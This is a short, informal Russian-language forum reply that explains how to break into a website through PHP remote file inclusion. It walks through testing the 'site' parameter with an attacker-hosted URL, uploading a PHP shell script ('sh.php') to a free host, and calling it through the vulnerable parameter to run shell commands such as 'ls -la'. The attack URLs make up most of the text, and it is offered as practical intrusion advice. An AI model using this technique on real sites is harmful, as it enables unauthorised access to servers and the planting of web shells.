не, ну ты вопросы задавать =)
обычно ломают через скрипт, но и фтп сойдет.. да хоть ссш - главное получить доступ на тачку..
ну, как пример, э.. ну вот, такая фича, она зовется инклюда:
например есть сайт http://[target]/index.php?site=index.htm&page=1
ну что-то типо этого =))))) так вот, берем и проверяем.. http://[target]/index.php?site=http://[atack]/ если виден твой сайт, значит усе работает.. ну а теперь заливаем на бесплатный хостинг пхп скрипты для шелла и всего чего нам надо.. условие, чтоб хостинг не поддерживал пхп.. например у нас есть такая тулза, как sh.php
вот и пишем:
http://[target]/index.php?site=http://[atack]/sh.php?ls%20la
ну и т.д.